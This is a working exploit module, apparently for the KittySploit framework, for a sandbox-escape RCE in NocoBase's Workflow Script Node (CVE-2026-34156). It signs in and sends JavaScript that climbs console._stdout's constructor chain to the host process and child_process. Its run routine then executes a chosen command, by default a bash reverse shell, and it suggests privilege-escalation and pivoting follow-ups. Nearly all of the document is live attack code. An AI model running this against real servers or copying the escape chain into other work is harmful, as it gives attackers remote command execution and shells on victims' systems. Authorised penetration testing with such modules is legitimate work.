NocoBase Workflow Script Node VM Sandbox Escape RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import json
from urllib.parse import urlparse

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        "name": "NocoBase Workflow Script Node VM Sandbox Escape RCE",
        "description": (
            "Exploits CVE-2026-34156 in NocoBase Workflow Script Node. "
            "The module leverages an exposed host-realm WritableWorkerStdio "
            "stream object (console._stdout / console._stderr) to traverse "
            "the prototype chain, obtain the host-realm's Function constructor, "
            "and execute arbitrary commands bypassing the Node.js vm sandbox."
        ),
        "author": ["Onurcan Genç", "KittySploit Team"],
        "cve": "CVE-2026-34156",
        "platform": Platform.MULTI,
        "arch": [Arch.X86, Arch.X64],
        "references": [
            "https://github.com/nocobase/nocobase/security/advisories/GHSA-px3p-vgh9-m57c",
            "https://github.com/nocobase/nocobase",
        ],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.SINGLE,
        },
        "tags": ["nocobase", "workflow", "vm", "sandbox-escape", "authenticated", "rce"],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
                                   {'capability': 'shell', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
                                 'post/shell/multi/manage/pivot_autoroute']},
    },
    }

    port = OptPort(13000, "NocoBase HTTP port", required=True)
    ssl = OptBool(False, "Use HTTPS", required=True, advanced=True)
    base_path = OptString("/", "NocoBase base path if deployed under a URL prefix", required=False)
    username = OptString("", "NocoBase username/account", required=True)
    password = OptString("", "NocoBase password", required=True)
    workflow_timeout_ms = OptInteger(5000, "Workflow script timeout in milliseconds", required=False, advanced=True)

    _ESCAPE_CHAIN = (
        "const Fn=console._stdout.constructor.constructor;"
        "const proc=Fn('return process')();"
        "const cp=proc.mainModule.require('child_process');"
    )

    def _split_target(self):
        raw = str(self.target or "").strip().rstrip("/")
        if not raw:
            return "", ""

        if "://" in raw:
            parsed = urlparse(raw)
            origin = f"{parsed.scheme}://{parsed.netloc}".rstrip("/")
            return origin, (parsed.path or "").rstrip("/")

        path_hint = ""
        host = raw
        if "/" in raw:
            host, path_hint = raw.split("/", 1)
            path_hint = "/" + path_hint.rstrip("/")

        scheme = "https" if self._to_bool(self.ssl) else "http"
        if ":" in host.rsplit("@", 1)[-1]:
            origin = f"{scheme}://{host}"
        else:
            origin = f"{scheme}://{host}:{int(self.port)}"
        return origin.rstrip("/"), path_hint.rstrip("/")

    def _prefix(self):
        explicit = str(self.base_path or "/").strip()
        if explicit and explicit != "/":
            if not explicit.startswith("/"):
                explicit = "/" + explicit
            return explicit.rstrip("/")

        _origin, target_path = self._split_target()
        return target_path.rstrip("/")

    def _url(self, path):
        if not path.startswith("/"):
            path = "/" + path
        prefix = self._prefix()
        origin, _target_path = self._split_target()
        return f"{origin}{prefix}{path}"

    @staticmethod
    def _json_or_none(response):
        try:
            return response.json()
        except Exception:
            return None

    def _authenticate(self):
        body = {"account": str(self.username), "password": str(self.password)}
        try:
            response = self.post(
                self._url("/api/auth:signIn"),
                json=body,
                headers={"Accept": "application/json", "Content-Type": "application/json"},
                timeout=max(int(self.timeout or 10), 10),
            )
        except Exception as exc:
            return None, f"Authentication request failed: {exc}"

        if not response:
            return None, "Authentication request returned no response"

        data = self._json_or_none(response)
        if data is None:
            return None, f"Authentication returned non-JSON response (HTTP {response.status_code})"

        if data.get("errors"):
            first = (data.get("errors") or [{}])[0]
            message = first.get("message") if isinstance(first, dict) else str(first)
            return None, f"Authentication failed: {message or 'unknown error'}"

        token = ((data.get("data") or {}).get("token") or "").strip()
        if not token:
            return None, "Authentication succeeded but no bearer token was returned"

        user = (data.get("data") or {}).get("user") or {}
        label = user.get("nickname") or user.get("username") or user.get("email") or str(self.username)
        self.session.headers["Authorization"] = f"Bearer {token}"
        return token, f"Authenticated as {label}"

    def _send_payload(self, token, payload):
        timeout_ms = int(self.workflow_timeout_ms or 5000)
        body = {
            "type": "script",
            "config": {
                "content": payload,
                "timeout": timeout_ms,
                "arguments": [],
            },
        }
        headers = {
            "Accept": "application/json",
            "Authorization": f"Bearer {token}",
            "Content-Type": "application/json",
        }

        try:
            # We use a short timeout for the HTTP request itself if it's a reverse shell
            # but the server might take time to process.
            response = self.post(
                self._url("/api/flow_nodes:test"),
                json=body,
                headers=headers,
                timeout=max(int(self.timeout or 10), 10),
            )
            return response, None
        except Exception as exc:
            return None, f"Workflow test request failed: {exc}"

    def check(self):
        token, auth_message = self._authenticate()
        if not token:
            return {
                "vulnerable": False,
                "reason": auth_message,
                "confidence": "low",
            }

        check_payload = (
            "try {"
            "  const stream = console._stdout && console._stdout.constructor"
            "    ? console._stdout.constructor.name : null;"
            "  const fnType = typeof console._stdout.constructor.constructor;"
            "  return JSON.stringify({stream: stream, fnConstructor: fnType});"
            "} catch(e) {"
            "  return JSON.stringify({error: e.message});"
            "}"
        )

        response, error = self._send_payload(token, check_payload)
        if error:
            return {
                "vulnerable": False,
                "reason": error,
                "confidence": "low",
            }

        data = self._json_or_none(response)
        if not data:
            return {
                "vulnerable": False,
                "reason": "Unexpected non-JSON response from server during check",
                "confidence": "low",
            }

        res_data = data.get("data") or {}
        status = res_data.get("status")
        if str(status) != "1":
            return {
                "vulnerable": False,
                "reason": f"Unexpected workflow test status: {status}",
                "confidence": "low",
            }

        result_raw = res_data.get("result")
        try:
            probe = json.loads(result_raw) if isinstance(result_raw, str) else result_raw
            stream = probe.get("stream")
            fn_type = probe.get("fnConstructor")

            if stream == "WritableWorkerStdio" and fn_type == "function":
                return {
                    "vulnerable": True,
                    "reason": "Host-realm console stream is exposed",
                    "confidence": "high",
                }
        except Exception:
            pass

        return {
            "vulnerable": False,
            "reason": "Sandbox escape primitive not observed",
            "confidence": "high",
        }

    def run(self):
        token, auth_message = self._authenticate()
        if not token:
            print_error(auth_message)
            return False

        print_status(auth_message)

        # Get the payload command
        if not self.payload:
            print_error("No payload selected")
            return False

        cmd = self.payload
        if isinstance(cmd, bytes):
            cmd = cmd.decode("utf-8", errors="ignore")

        print_status(f"Executing command: {cmd}")

        # Escape the command for JS string
        safe_cmd = cmd.replace("\\", "\\\\").replace("'", "\\'").replace('"', '\\"')
        
        # Build the final JS payload
        exploit_payload = f'{self._ESCAPE_CHAIN}cp.exec("{safe_cmd}");return "exploited";'

        response, error = self._send_payload(token, exploit_payload)
        
        if error:
            # If it's a timeout, it might be a successful reverse shell
            if "timeout" in str(error).lower():
                print_success("Payload delivered (request timed out, likely shell spawned)")
                return True
            print_error(error)
            return False

        data = self._json_or_none(response)
        if data and data.get("data", {}).get("status") == 1:
            print_success("Payload delivered successfully")
            return True
        
        print_warning("Payload delivered but server returned unexpected response")
        return True